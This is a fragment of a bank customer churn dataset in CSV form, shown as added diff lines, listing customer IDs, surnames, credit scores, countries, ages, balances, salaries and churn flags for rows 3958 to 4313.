+3958,15756610,Carlson,657,Germany,Female,38,5,123770.46,1,0,0,47019.66,1 +3959,15640917,Tang,633,France,Male,43,5,0,2,1,1,48249.88,0 +3960,15663164,Yudin,663,Germany,Male,49,7,116150.65,3,1,1,84358.71,1 +3961,15616811,MacDonald,535,France,Male,47,0,160729.1,1,0,1,145986.35,0 +3962,15610781,Watt,702,France,Female,29,10,88378.6,1,1,0,88550.28,0 +3963,15600911,Mbadiwe,712,France,Male,33,2,182888.08,1,1,0,3061,0 +3964,15629603,Chuang,607,France,Male,31,8,0,2,1,1,43196.5,0 +3965,15714981,Sabbatini,476,France,Male,37,4,0,1,1,1,55775.84,1 +3966,15775892,Caldwell,748,Spain,Female,23,8,85600.08,1,0,0,134077.71,0 +3967,15782778,Ewers,815,France,Male,35,4,0,2,0,1,198490.33,0 +3968,15786643,Tsao,602,France,Male,32,10,0,2,1,1,116052.92,0 +3969,15595657,Hannam,649,Germany,Male,40,4,95001.33,1,0,1,123202.99,0 +3970,15743673,Wood,551,Spain,Male,27,2,113873.22,1,1,1,85129.77,1 +3971,15634310,Ko,509,France,Male,30,6,0,2,1,0,180598.86,0 +3972,15790809,Lo Duca,685,Spain,Male,40,7,74896.92,1,1,0,198694.2,0 +3973,15668695,Endrizzi,536,France,Female,22,5,89492.62,1,0,0,42934.43,0 +3974,15669281,Ch'iu,711,Spain,Male,38,3,128718.78,1,0,0,114793.45,0 +3975,15621031,Mofflin,761,Spain,Male,27,8,0,2,1,0,63297.7,0 +3976,15720071,Fiorentini,535,France,Female,49,3,0,1,0,0,61820.41,1 +3977,15792180,Chiekwugo,566,Germany,Male,22,7,144954.75,2,1,0,102246,0 +3978,15813894,Bogle,620,Spain,Male,21,9,0,2,0,0,154882.79,0 +3979,15669490,Ifeanacho,837,Germany,Male,37,6,94001.61,2,1,0,140723.05,0 +3980,15783030,Owens,685,France,Female,40,7,0,1,1,0,72852.74,1 +3981,15695792,Ch'ien,673,France,Male,65,0,0,1,1,1,85733.33,0 +3982,15575676,Chung,638,France,Male,24,1,0,2,0,1,162597.15,0 +3983,15627665,Sung,614,France,Male,46,4,0,1,1,0,74379.57,1 +3984,15814092,Wang,626,France,Female,44,2,0,1,0,1,173117.22,1 +3985,15695225,Sun,834,Spain,Male,38,8,0,2,1,1,66485.26,0 +3986,15615091,Maitland,691,France,Male,24,6,0,2,1,1,92811.2,0 +3987,15794345,Ma,706,Spain,Male,38,8,0,2,0,1,46635.11,0 +3988,15726484,Pollard,633,France,Male,37,7,141546.35,1,1,1,124830.11,0 +3989,15650442,Hsieh,644,Germany,Female,32,8,141528.88,1,1,1,167087.34,1 +3990,15714256,Gerasimov,666,France,Male,30,7,109805.3,1,0,1,163625.56,0 +3991,15778752,Johnson,708,France,Male,32,10,86614.06,2,1,1,172129.26,0 +3992,15601659,Fiorentino,496,Germany,Female,59,7,91680.1,2,1,0,163141.18,1 +3993,15602811,Chioke,730,Germany,Male,38,0,38848.19,2,0,0,94003.11,0 +3994,15779414,Rossi,696,Spain,Male,40,3,153639.11,1,1,1,138351.68,0 +3995,15763097,Siciliano,809,Spain,Male,80,8,0,2,0,1,34164.05,0 +3996,15633666,Efremov,701,Spain,Female,33,7,123870.07,1,1,0,97794.71,0 +3997,15718789,Brigstocke,604,France,Male,30,5,0,2,1,0,75786.55,0 +3998,15690620,Olisaemeka,665,France,Male,39,10,46323.57,1,1,0,136812.02,0 +3999,15737071,Tang,639,France,Female,60,5,162039.78,1,1,1,84361.72,1 +4000,15665062,Lucchese,696,France,Male,19,1,110928.51,1,1,1,2766.63,0 +4001,15600692,West,520,France,Male,38,5,0,2,1,0,163185.76,0 +4002,15792064,Pai,545,Germany,Male,53,5,114421.55,1,1,0,180598.28,1 +4003,15811486,Tang,634,Germany,Female,29,8,130036.21,2,0,1,69849.55,0 +4004,15626141,Fedorov,750,France,Female,26,1,151510.17,2,1,1,19921.72,0 +4005,15738546,Gboliwe,530,Spain,Female,41,4,0,2,0,1,147606.71,0 +4006,15677052,Ko,589,France,Female,59,2,0,2,1,1,126160.24,1 +4007,15656454,Le Gallienne,654,France,Male,37,6,83568.55,1,1,0,47046.72,0 +4008,15645496,Seleznyova,648,France,Female,43,7,139972.18,1,1,0,143668.58,0 +4009,15612505,Joseph,835,Spain,Male,45,3,100212.13,1,1,0,152577.62,0 +4010,15708513,Bevan,446,France,Female,39,1,90217.07,1,1,0,191350.48,0 +4011,15685654,Allan,514,Spain,Male,66,9,0,2,1,1,14234.31,0 +4012,15732307,Lavrentiev,694,Germany,Male,33,4,124067.32,1,1,1,77906.87,0 +4013,15726814,Walton,554,Spain,Male,46,4,0,2,0,1,57320.92,0 +4014,15653776,Salier,720,Germany,Female,57,1,162082.31,4,0,0,27145.73,1 +4015,15597914,Evdokimov,641,Germany,Female,51,2,117306.69,4,1,1,26912.72,1 +4016,15631603,Ponomaryova,813,France,Male,32,1,122889.88,1,1,1,26476.18,0 +4017,15789753,Millar,480,France,Male,40,6,148790.61,1,0,1,79329.7,0 +4018,15678034,Grosse,811,France,Male,46,9,180226.24,1,1,0,13464.64,1 +4019,15690209,Hsiao,715,Germany,Female,32,3,104857.19,2,1,0,114149.8,0 +4020,15592091,Belbin,620,Spain,Male,31,2,166833.86,2,1,1,135171.6,0 +4021,15647453,Ifeajuna,721,France,Male,42,4,102936.72,1,0,0,1187.88,0 +4022,15697100,Wright,772,Germany,Female,48,6,108736.52,1,1,0,184564.67,1 +4023,15811290,Komarova,680,Germany,Male,44,0,129974.79,2,1,1,33391.38,0 +4024,15629187,Titheradge,535,France,Male,38,8,85982.07,1,1,0,9238.35,0 +4025,15758073,Dellucci,655,France,Female,20,7,134397.61,1,0,0,28029.54,0 +4026,15640769,Hobbs,660,France,Male,63,8,137841.53,1,1,1,42790.29,0 +4027,15606641,Beggs,762,Germany,Male,56,10,100260.88,3,1,1,77142.42,1 +4028,15718280,Luffman,662,Germany,Male,39,5,139822.11,2,1,1,146219.9,0 +4029,15764335,Caldwell,463,Germany,Female,41,8,123151.51,2,1,0,70127.93,0 +4030,15634218,Mancini,501,Germany,Male,27,4,95331.83,2,1,0,132104.76,0 +4031,15808760,Evseev,603,Spain,Female,42,6,0,1,1,1,90437.87,0 +4032,15648461,Hs?eh,688,Spain,Male,37,7,138162.41,2,1,1,113926.31,0 +4033,15593555,Chinedum,430,France,Male,38,9,0,2,1,1,12050.77,0 +4034,15569079,Hagins,632,Germany,Male,48,6,126066.26,1,1,0,64345.61,1 +4035,15800736,Kirwan,601,Spain,Female,42,4,96763.89,1,1,1,199242.65,0 +4036,15792607,Little,769,France,Female,38,2,0,2,0,0,75578.67,0 +4037,15640034,Milligan,551,France,Male,42,2,139561.46,1,1,0,43435.43,1 +4038,15807563,Ch'iu,841,France,Female,52,5,0,1,0,0,183239.71,1 +4039,15684461,McKay,469,Spain,Female,31,6,0,1,1,0,146213.75,1 +4040,15580134,Crawford,479,Spain,Male,27,2,172463.45,1,1,1,40315.27,0 +4041,15679075,Onyemere,701,France,Male,37,8,107798.85,1,1,0,16966.73,0 +4042,15742504,Azuka,593,France,Male,36,2,70181.48,2,1,0,80608.12,0 +4043,15567328,Ch'en,738,Spain,Male,38,5,177997.07,1,0,1,19233.41,0 +4044,15698294,Royster,635,Spain,Male,31,1,0,2,1,0,135382.23,0 +4045,15607142,Parkin,658,France,Male,32,8,0,1,1,1,80410.68,0 +4046,15738516,Kozlova,687,Spain,Female,36,5,0,1,1,0,17696.22,0 +4047,15806403,Hu,650,France,Male,37,9,0,2,1,0,17974.08,0 +4048,15656707,Ma,720,Spain,Male,21,2,123200.78,1,1,1,180712.28,0 +4049,15653715,Coates,602,France,Female,63,7,0,2,1,1,56323.21,0 +4050,15806184,Burns,618,Spain,Male,33,4,0,2,1,1,77550.18,0 +4051,15585734,Gouger,803,Germany,Male,41,9,137742.9,2,1,1,166957.82,0 +4052,15725639,Ignatyev,793,France,Female,63,9,116270.72,1,1,1,184243.25,0 +4053,15618401,Douglas,616,Germany,Male,41,10,113220.2,2,1,1,114072.91,0 +4054,15785385,Fiorentino,550,Spain,Male,51,5,0,2,1,0,153917.41,0 +4055,15734762,Ignatiev,602,France,Female,56,3,115895.22,3,1,0,4176.17,1 +4056,15767129,Munz,452,France,Female,60,6,121730.49,1,1,1,142963.29,0 +4057,15797204,Paling,655,Spain,Female,28,3,113811.85,2,0,1,76844.23,0 +4058,15769272,Clark,510,France,Female,26,6,136214.08,1,0,0,159742.33,0 +4059,15771966,Akobundu,557,France,Male,39,8,146200.01,1,1,0,177944.64,0 +4060,15691952,Fanucci,676,France,Male,37,10,106242.67,1,1,1,166678.28,0 +4061,15593250,Hsiao,640,France,Female,29,4,0,2,1,0,44904.26,0 +4062,15605333,Clancy,529,Spain,Male,31,6,0,1,1,0,10625.91,0 +4063,15800083,Macdonald,559,France,Male,45,8,24043.45,1,0,1,169781.45,1 +4064,15575691,Palerma,689,France,Female,58,5,0,2,0,1,49848.86,0 +4065,15689886,Holden,626,Germany,Male,39,10,132287.92,3,1,1,51467.92,1 +4066,15809838,Moore,697,Spain,Male,30,1,0,2,0,0,735.79,0 +4067,15736154,Gallo,823,France,Female,44,1,0,2,0,1,182495.7,0 +4068,15767391,Otutodilinna,565,Germany,Female,32,4,90322.99,2,0,1,118740.37,0 +4069,15704910,Rios,631,Spain,Male,23,3,0,2,1,0,13813.24,0 +4070,15656613,McGregor,646,France,Female,34,3,131283.11,1,0,0,130500.65,0 +4071,15611551,Hill,676,Spain,Male,48,1,131659.59,2,0,1,14152.15,0 +4072,15732430,H?,850,Spain,Female,54,4,120952.74,1,1,0,66963.15,0 +4073,15741865,Ferrari,810,France,Female,38,9,153166.17,1,1,1,93261.69,0 +4074,15634143,Onyemauchechi,581,Spain,Male,30,0,53291.86,1,0,0,196582.28,0 +4075,15609676,Nkemakonam,718,France,Female,35,2,167924.95,1,1,0,43024.64,0 +4076,15761600,White,713,France,Male,43,5,86394.14,1,1,1,130001.13,0 +4077,15676404,Kirillov,672,France,Female,50,1,0,1,1,0,12106.82,1 +4078,15659236,Iadanza,781,Spain,Male,33,3,0,2,1,1,42556.33,0 +4079,15690440,Stiles,656,Spain,Male,47,1,0,2,1,1,197961.93,0 +4080,15694601,Ankudinov,583,France,Female,31,4,158978.79,1,1,0,12538.92,0 +4081,15812262,Gaffney,808,Germany,Female,37,2,100431.84,1,1,0,35140.49,1 +4082,15762821,Udinese,721,Spain,Male,33,5,0,2,0,1,117626.9,0 +4083,15669301,Romani,778,Germany,Female,29,6,150358.97,1,1,0,62454.01,1 +4084,15672640,Kambinachi,850,Spain,Female,45,4,114347.85,2,1,1,109089.04,0 +4085,15750458,Hawkins,693,France,Female,39,4,0,2,0,1,142331.39,0 +4086,15627251,Tsui,520,France,Male,34,4,134007.9,1,1,1,193209.11,0 +4087,15764294,Ifeatu,759,Germany,Male,31,4,98899.91,1,1,1,47832.82,0 +4088,15659962,McIntosh,637,France,Male,60,3,0,2,1,1,70174.03,0 +4089,15788536,Armit,755,Germany,Male,40,2,137430.82,2,0,0,176768.59,0 +4090,15596979,Fang,662,France,Female,47,6,0,2,1,1,129392.75,0 +4091,15681220,Chou,503,France,Female,37,8,0,2,1,1,97893.32,0 +4092,15635097,Okeke,599,Germany,Male,39,2,188976.89,2,0,1,176142.09,0 +4093,15780779,Ramsbotham,583,Spain,Female,40,4,0,2,1,0,114093.73,0 +4094,15798470,Scannell,764,Spain,Female,48,1,75990.97,1,1,0,158323.81,1 +4095,15760880,Edman,513,France,Male,29,10,0,2,0,1,25514.77,0 +4096,15616929,De Luca,730,Spain,Male,62,5,112181.08,1,0,1,61513.87,0 +4097,15758775,Vasilyeva,820,Spain,Male,34,10,97208.46,1,1,1,59553.34,0 +4098,15663386,Tuan,597,Spain,Female,26,7,0,2,1,0,110253.2,0 +4099,15621267,Ejimofor,637,France,Male,32,5,0,1,0,0,148769.08,0 +4100,15720509,Hs?,696,France,Male,34,9,150856.79,1,0,1,8236.78,0 +4101,15693322,Shaver,635,Germany,Female,37,9,146748.07,1,0,1,11407.58,0 +4102,15589544,Wallis,673,Spain,Female,57,4,0,2,1,1,49684.09,0 +4103,15772030,Coupp,662,Spain,Male,33,3,0,2,0,1,68064.83,0 +4104,15693337,Perry,683,Spain,Male,41,0,148863.17,1,1,1,163911.32,0 +4105,15676571,Bezrukova,850,France,Male,55,6,0,1,1,0,944.41,1 +4106,15701392,Lucciano,815,Spain,Male,28,6,0,2,0,1,185547.71,0 +4107,15741092,Ingram,671,Spain,Male,34,10,153360.02,1,1,0,140509.86,0 +4108,15643865,Lo Duca,601,France,Female,40,3,92055.36,1,0,1,164652.02,1 +4109,15769389,Wan,709,Germany,Female,39,9,124723.92,1,1,0,73641.86,0 +4110,15807768,Cohn,702,Germany,Male,28,1,103033.83,1,1,1,40321.87,0 +4111,15801630,Yen,558,France,Male,40,6,0,2,1,0,173844.89,0 +4112,15705034,Peng,691,Spain,Male,40,1,0,2,1,1,145613.17,0 +4113,15763107,Little,700,France,Female,30,9,0,1,1,1,174971.64,0 +4114,15667085,Meng,667,France,Male,33,4,0,2,1,1,131834.75,0 +4115,15647008,Adams,624,Germany,Male,54,3,116726.22,1,1,0,110498.1,1 +4116,15584505,Hill,580,France,Female,23,5,113923.81,2,0,0,196241.43,0 +4117,15748068,Boyle,571,Spain,Female,31,3,0,2,1,1,194667.92,0 +4118,15663964,Pagnotto,561,France,Male,37,5,0,2,1,0,83093.25,0 +4119,15782311,Feng,529,France,Male,28,9,0,2,1,1,52545.24,0 +4120,15588197,Endrizzi,670,France,Male,36,7,0,2,0,0,59571.5,0 +4121,15610105,Shen,666,Germany,Female,21,1,121827.43,2,1,1,99818.31,0 +4122,15606133,Lay,628,Spain,Male,42,7,0,2,0,1,172967.87,0 +4123,15599403,Wu,577,France,Male,60,10,125389.7,2,1,1,178616.73,0 +4124,15648225,Shephard,652,Spain,Female,38,1,103895.31,1,0,1,159649.44,0 +4125,15608406,Schmidt,678,France,Male,26,5,111128.04,1,1,0,60941.27,1 +4126,15633378,Davidson,692,Spain,Female,49,9,0,2,1,0,178342.63,0 +4127,15664759,Lamb,675,Spain,Male,32,10,0,2,1,0,191545.65,0 +4128,15625545,Hussey,712,Spain,Male,52,9,0,1,1,1,117977.45,1 +4129,15772148,Ferrari,639,Germany,Female,37,5,151242.48,1,0,1,49637.65,0 +4130,15810829,Macfarlan,618,France,Male,48,7,0,1,1,0,13921.82,1 +4131,15731669,Szabados,554,France,Male,39,2,129709.62,1,1,0,173197.12,0 +4132,15738634,Yuan,533,France,Male,47,9,83347.25,1,1,1,137696.25,0 +4133,15737571,Matveyev,540,Spain,Female,28,6,84121.04,1,0,1,80698.54,0 +4134,15667602,Cheng,704,Spain,Male,33,3,0,2,1,0,73018.74,0 +4135,15684147,Palerma,678,France,Male,43,5,102338.19,1,1,1,79649.62,0 +4136,15789874,Wang,712,France,Female,29,3,87375.78,2,0,0,166194.53,0 +4137,15757952,Teng,651,France,Male,44,2,0,3,1,0,102530.35,1 +4138,15698732,K'ung,789,Germany,Male,51,3,104677.09,1,1,0,74265.38,0 +4139,15714355,Sinclair,775,Germany,Male,32,8,121669.23,1,0,1,125898.39,0 +4140,15599090,McKelvey,564,Germany,Male,40,7,108407.34,1,1,1,83681.2,0 +4141,15762048,Yuan,841,Germany,Female,33,7,154969.79,2,1,1,99505.75,0 +4142,15790596,Moran,850,Spain,Male,39,0,141829.67,1,1,1,92748.16,0 +4143,15609623,McConnell,637,France,Female,63,5,0,1,1,0,28092.77,1 +4144,15711901,Iheatu,500,France,Male,45,2,109162.82,1,1,1,126145.08,0 +4145,15779809,Giordano,655,France,Male,44,8,87471.63,1,0,1,188593.98,0 +4146,15729018,Alexander,666,France,Female,33,2,147229.65,1,1,1,56410.17,0 +4147,15698246,Gordon,658,France,Female,24,2,0,2,1,1,84694.49,0 +4148,15712409,Tang,749,Germany,Male,66,6,182532.23,2,1,1,195429.92,0 +4149,15758306,T'an,654,France,Male,32,6,0,2,1,1,137898.57,0 +4150,15621435,Davies,623,France,Female,39,1,160903.2,1,0,0,78774.36,0 +4151,15566295,Sanders,761,France,Female,33,6,138053.79,2,1,0,148779.41,0 +4152,15569098,Winifred,627,France,Male,44,6,153548.12,1,0,0,35300.08,1 +4153,15662532,Holmes,757,Germany,Male,31,8,149085.9,2,1,1,197077.36,0 +4154,15664001,Riddle,695,Germany,Female,53,8,95231.91,1,0,0,70140.8,1 +4155,15703437,Chinedum,726,France,Male,34,3,0,2,1,0,196288.46,0 +4156,15708003,Aleksandrova,587,Spain,Male,41,8,85109.21,1,1,0,1557.82,0 +4157,15599452,Conti,605,Germany,Female,43,8,125338.8,2,1,0,23970.13,0 +4158,15719793,Watson,850,Spain,Male,62,5,0,2,1,1,180243.56,0 +4159,15771580,Davison,850,France,Female,38,0,106831.69,1,0,1,148977.72,0 +4160,15732268,Cook,751,France,Male,29,3,159597.45,1,1,0,39934.41,0 +4161,15722350,Udinesi,627,Germany,Female,37,7,147361.57,1,1,1,133031.96,0 +4162,15611371,Siciliani,736,France,Male,43,4,176134.54,1,1,1,52856.88,0 +4163,15673584,Bell,652,France,Female,74,5,0,2,1,1,937.15,0 +4164,15636396,Jackson,627,France,Female,35,7,0,2,0,1,193022.44,0 +4165,15706170,Onyemere,636,France,Male,34,1,84055.43,1,0,0,37490.84,0 +4166,15725478,McClemans,775,France,Male,60,7,0,2,1,1,111558.7,0 +4167,15654562,Ma,850,Spain,Female,45,5,174088.3,4,1,0,5669.31,1 +4168,15737509,Morrison,850,Spain,Male,34,8,199229.14,1,0,0,68106.29,0 +4169,15690796,Chambers,516,France,Male,37,8,0,1,1,0,101834.58,0 +4170,15716728,Basedow,513,Spain,Female,42,10,0,2,0,1,73151.25,0 +4171,15605665,Nwora,673,Germany,Female,69,3,78833.15,2,1,1,37196.15,0 +4172,15748481,Howey,564,France,Female,27,6,0,1,0,0,7819.76,0 +4173,15757777,Pai,636,France,Female,35,2,0,2,1,1,23129.46,0 +4174,15747808,Ni,712,France,Male,29,3,102540.61,1,1,1,189680.79,0 +4175,15810593,Forbes,568,France,Male,51,4,0,3,1,1,66586.56,0 +4176,15693376,Baryshnikov,741,Spain,Male,43,0,0,2,1,1,2920.63,1 +4177,15579808,Kramer,754,Germany,Female,39,8,129401.87,1,1,1,87684.93,0 +4178,15598275,Sochima,709,France,Female,32,7,0,2,1,1,199418.02,0 +4179,15737080,Marchesi,510,France,Female,32,1,0,2,0,1,28515.17,0 +4180,15668580,Todd,716,Spain,Male,33,2,0,2,1,1,92916.53,0 +4181,15569438,Mai,607,Germany,Male,36,10,106702.94,2,0,0,198313.69,0 +4182,15675842,Pinto,656,Spain,Male,26,4,139584.57,1,1,0,36308.93,0 +4183,15577587,Reynolds,550,Germany,Male,52,5,121016.23,1,1,1,41730.37,1 +4184,15625592,Sal,486,France,Male,26,2,0,2,1,1,31399.4,0 +4185,15635141,Miller,598,Germany,Male,59,8,118210.42,2,0,0,60192.14,1 +4186,15642570,Scott,675,Spain,Male,35,8,0,2,1,0,29062.25,0 +4187,15702175,Herrin,755,France,Female,29,4,148654.84,2,1,1,28805.09,0 +4188,15677785,Stevenson,656,Spain,Male,32,5,136963.12,1,1,0,133814.28,0 +4189,15786153,McKenzie,644,Germany,Male,47,9,137774.11,2,1,0,151902.78,0 +4190,15759499,Gardiner,598,France,Female,32,4,111156.52,1,1,1,167376.26,0 +4191,15659568,Atkinson,850,Spain,Female,31,3,121237.65,1,1,1,31022.56,0 +4192,15715597,Onyemauchechi,679,France,Male,36,1,97234.58,1,1,0,188997.08,0 +4193,15610147,Ross,632,France,Male,60,2,0,2,0,1,2085.32,0 +4194,15802362,Newland,550,Spain,Male,45,0,0,2,0,1,70399.71,0 +4195,15660524,Hu,572,Germany,Female,54,9,97382.53,1,1,1,195771.95,0 +4196,15747168,Sanders,626,Germany,Female,47,2,103108.8,1,0,1,166475.44,1 +4197,15796910,Tsui,625,Spain,Female,57,7,0,1,0,0,84106.17,1 +4198,15707674,Marino,515,France,Female,58,2,131852.81,1,1,0,81436.68,1 +4199,15565706,Akobundu,612,Spain,Male,35,1,0,1,1,1,83256.26,1 +4200,15587596,Morrison,628,Spain,Female,39,8,107553.33,1,1,0,117523.41,0 +4201,15751943,Mai,529,Spain,Female,43,5,0,2,0,0,79476.63,0 +4202,15621227,Hs?eh,668,Germany,Female,46,7,161806.09,1,1,1,173052.19,0 +4203,15757588,Wright,526,France,Male,30,9,0,2,0,0,100995.68,0 +4204,15640922,Demaine,791,France,Female,52,7,0,1,1,1,122782.5,0 +4205,15567557,Chien,573,France,Male,27,2,128243.03,1,1,1,11631.34,0 +4206,15670103,Dickinson,565,France,Female,38,5,126645.13,1,1,1,168303.55,0 +4207,15720929,Kazantseva,604,France,Female,47,8,62094.71,3,0,0,9308.1,1 +4208,15732774,Marchesi,656,France,Male,37,7,112291.34,1,1,0,153157.97,0 +4209,15628558,Pan,447,France,Female,44,5,89188.83,1,1,1,75408.24,0 +4210,15729201,Harewood,682,France,Male,55,9,0,1,1,0,153356.8,1 +4211,15731117,Kao,437,Spain,Male,28,2,109161.25,1,1,0,152987.42,0 +4212,15615207,Yeh,792,Spain,Male,47,0,0,1,1,1,5557.88,1 +4213,15773512,Bischof,627,Spain,Female,25,4,0,1,1,1,194313.93,0 +4214,15572145,Ashton,767,France,Female,34,8,0,2,1,0,94767.77,0 +4215,15642710,Napolitani,686,France,Male,26,7,0,2,1,0,1540.89,0 +4216,15574213,Wilson,789,France,Female,53,1,158271.74,1,1,1,5036.39,1 +4217,15718852,Uren,794,France,Male,56,9,96951.21,1,1,1,71776.76,0 +4218,15583840,Okechukwu,587,Germany,Male,35,5,121863.61,1,1,1,23481.69,1 +4219,15782418,Ku,589,Germany,Female,19,9,83495.11,1,1,1,143022.31,1 +4220,15813504,Onyemachukwu,543,Germany,Female,25,1,146566.01,1,0,1,161407.48,0 +4221,15711314,Kao,589,Spain,Female,45,1,0,1,0,0,125939.22,1 +4222,15621064,Russell,701,Germany,Male,23,5,186101.18,2,1,1,76611.33,0 +4223,15627847,Woronoff,850,France,Male,40,6,0,1,1,0,136985.08,1 +4224,15588090,Ferri,726,Germany,Female,51,8,107494.86,2,1,0,140937.91,1 +4225,15735270,Ruggiero,767,Spain,Male,47,2,0,1,1,0,48161.18,1 +4226,15671804,Wilding,648,Spain,Male,36,8,146943.38,2,1,1,130041.45,0 +4227,15753215,Yashina,651,Spain,Female,36,8,0,2,1,0,91652.43,0 +4228,15789941,Yevseyev,633,France,Female,36,6,125130.28,1,0,0,125961.48,0 +4229,15691061,Rapuokwu,740,France,Female,37,9,0,2,1,1,73225.31,0 +4230,15808326,Maslov,592,France,Female,34,9,0,2,1,1,20460.2,0 +4231,15566660,Cole,670,France,Female,41,10,0,3,1,0,81602.02,0 +4232,15778947,Sullivan,628,France,Male,36,3,0,2,1,1,8742.91,0 +4233,15632977,Hsiao,745,France,Male,47,5,0,2,0,0,145789.71,0 +4234,15591747,Rossi,705,France,Male,32,3,0,2,0,0,129576.99,0 +4235,15567335,Allsop,559,France,Female,42,7,0,2,1,1,190040.29,0 +4236,15609299,Chamberlain,595,France,Male,29,6,150685.79,1,1,0,87771.06,0 +4237,15669945,Jackson,492,France,Male,35,4,141359.37,2,1,0,39519.53,0 +4238,15736271,Dumetochukwu,498,France,Female,29,9,0,1,1,0,190035.83,0 +4239,15710390,Uspensky,655,France,Female,39,6,94631.26,2,1,1,148948.52,0 +4240,15756481,Garcia,636,France,Female,39,3,118336.14,1,1,0,184691.77,0 +4241,15736730,Soto,634,France,Female,45,2,0,1,1,1,143458.31,0 +4242,15626040,McDonald,793,Spain,Male,63,0,0,2,0,1,27166.75,0 +4243,15746553,Castles,526,Germany,Male,50,5,124233.24,1,0,1,159456.87,1 +4244,15622518,Stephenson,768,France,Female,26,5,51116.26,1,1,1,70454.79,1 +4245,15684908,Davidson,540,Germany,Male,64,1,91869.69,1,0,1,95421,0 +4246,15569446,Tu,732,France,Female,34,8,122338.43,2,1,0,187985.85,0 +4247,15777504,Colbert,617,France,Female,30,8,0,1,1,1,92621.9,0 +4248,15677906,Owens,637,Spain,Female,54,5,0,1,0,1,150836.98,0 +4249,15703292,Chimezie,573,France,Male,26,8,86270.93,2,1,1,90177.3,0 +4250,15712938,Genovese,531,France,Male,44,3,0,2,1,1,34416.79,0 +4251,15631359,Daluchi,489,France,Female,38,5,117289.92,1,0,0,85231.88,0 +4252,15720847,Sheffield,601,France,Male,35,2,0,2,1,1,118983.18,0 +4253,15787830,Bailey,452,Germany,Male,33,7,153663.27,1,1,0,111868.23,0 +4254,15599869,Dyson,728,Spain,Female,29,1,0,1,1,1,83056.22,0 +4255,15592078,Davide,590,Germany,Female,27,8,123599.49,2,1,0,1676.92,0 +4256,15596228,Uwaezuoke,490,France,Male,29,4,0,2,1,0,32089.57,0 +4257,15578462,Hs?,596,Spain,Female,76,9,134208.25,1,1,1,13455.43,0 +4258,15756894,Onwuka,635,France,Male,29,1,0,1,0,1,24865.54,0 +4259,15796167,Flores,782,Germany,Male,35,7,98556.89,2,1,0,117644.36,0 +4260,15664808,Nicoll,790,Spain,Female,37,3,0,3,0,0,98897.32,0 +4261,15664555,Hughes,587,France,Male,40,2,0,4,0,1,106174.7,1 +4262,15607278,Romano,794,Spain,Female,46,8,134593.79,1,1,1,46386.37,0 +4263,15585222,Norman,515,France,Male,41,8,0,2,1,1,185054.14,0 +4264,15750299,Davison,746,Spain,Male,24,10,68781.82,1,0,1,47997.39,0 +4265,15761294,Manna,667,Germany,Female,56,8,137464.04,1,1,0,130846.79,1 +4266,15810454,Reed,709,France,Male,32,4,147307.91,1,0,1,40861.55,0 +4267,15673984,Daniels,536,France,Female,35,8,0,1,1,0,171840.24,1 +4268,15609319,Hunt,711,France,Female,41,3,145754.91,1,1,1,101455.07,0 +4269,15709941,Feng,753,France,Male,46,8,0,3,1,0,90747.94,1 +4270,15580252,Waters,748,France,Male,44,4,112610.77,1,0,1,2048.55,0 +4271,15741275,Yuan,623,France,Female,57,7,71481.79,2,1,1,84421.34,0 +4272,15707132,Yudin,465,France,Male,33,5,0,2,0,1,78698.09,0 +4273,15600708,Calabresi,640,Spain,Female,34,3,77826.8,1,1,1,168544.85,0 +4274,15804787,Onyemauchechukwu,562,France,Male,75,5,87140.85,1,1,1,39351.64,0 +4275,15690021,Martin,502,Germany,Female,42,0,132002.7,1,0,1,28204.98,1 +4276,15763895,Hung,536,France,Male,32,7,178011.5,2,1,0,22375.14,0 +4277,15623478,Maslova,670,Germany,Female,32,4,102954.68,2,0,1,134942.45,0 +4278,15797910,Zetticci,775,Germany,Male,51,2,123783.25,1,1,1,134901.57,0 +4279,15577751,Pisano,759,Germany,Male,30,4,101802.67,1,0,0,8693.8,0 +4280,15781777,Sutherland,604,France,Male,33,3,148659.48,1,0,0,42437.75,0 +4281,15740527,Lai,766,Germany,Female,62,7,142724.48,1,0,1,5893.23,1 +4282,15721251,Watson,554,Spain,Female,41,4,112152.89,1,0,1,36242.19,0 +4283,15602994,Gorbunov,487,France,Female,53,10,89550.85,1,0,1,90076.85,0 +4284,15750769,Padovano,725,France,Male,35,7,75915.75,1,1,0,150507.43,0 +4285,15740175,Raynor,732,Germany,Female,42,2,118889.66,2,0,0,87422.15,0 +4286,15679968,Ting,623,France,Male,40,5,118788.57,1,1,0,192867.4,0 +4287,15694404,Eberegbulam,781,France,Female,42,3,156555.54,1,1,1,175674.01,0 +4288,15657529,Chin,714,Germany,Male,53,1,99141.86,1,1,1,72496.05,1 +4289,15762882,Manna,577,Germany,Female,31,4,61211.18,1,1,1,145250.43,0 +4290,15642579,Chang,731,Spain,Female,37,1,128932.4,1,1,1,180712.52,0 +4291,15598884,Kent,650,Spain,Female,23,5,0,1,1,1,180622.43,0 +4292,15770185,Buckley,779,France,Male,32,10,80728.15,1,1,0,86306.75,0 +4293,15800287,Micco,706,Spain,Female,46,2,127660.46,2,1,0,150156.82,1 +4294,15665861,Avdeev,733,Spain,Male,44,3,106070.89,1,0,1,101617.43,0 +4295,15662203,Bremer,579,Germany,Female,42,3,137560.38,2,1,1,85424.34,0 +4296,15616454,Davidson,476,Germany,Female,34,8,111905.43,1,0,1,197221.81,1 +4297,15702788,Gadsdon,775,France,Male,40,9,126212.64,1,1,0,70196.57,0 +4298,15778149,Connolly,538,Spain,Male,68,9,0,2,1,0,110440.5,1 +4299,15680001,McDonald,602,France,Male,38,7,111835.94,2,1,0,124389.61,0 +4300,15711991,Chiawuotu,615,France,Male,30,8,0,2,0,0,3183.15,0 +4301,15633834,Milne,700,Germany,Female,28,3,99705.69,2,0,0,146723.72,0 +4302,15765266,Fleming,615,France,Male,32,1,0,2,0,0,2139.25,0 +4303,15791867,Hicks,544,Germany,Male,44,2,108895.93,1,0,0,69228.2,1 +4304,15675380,Logan,573,Spain,Male,56,3,154669.77,1,0,1,115462.27,1 +4305,15770576,Hammond,555,Spain,Male,50,7,128061,2,1,1,62375.1,0 +4306,15775294,Weber,692,France,Female,31,2,0,2,1,0,91829.17,1 +4307,15727059,Lettiere,476,France,Female,40,4,0,2,0,0,182547.04,0 +4308,15702499,Schnaars,770,Spain,Male,46,9,190678.02,1,1,1,14725.36,0 +4309,15611699,Tao,641,France,Female,40,7,0,1,1,0,126996.67,0 +4310,15654000,Algarin,705,France,Female,35,5,0,1,1,0,133991.11,1 +4311,15657881,Onyemere,784,France,Male,38,5,136712.91,1,0,1,169920.92,0 +4312,15719991,Korovina,727,Spain,Female,52,1,154733.97,1,1,0,80259.67,1 +4313,15720687,Chidubem,576,France,Female,41,4,112609.91,1,0,0,191035.18,1 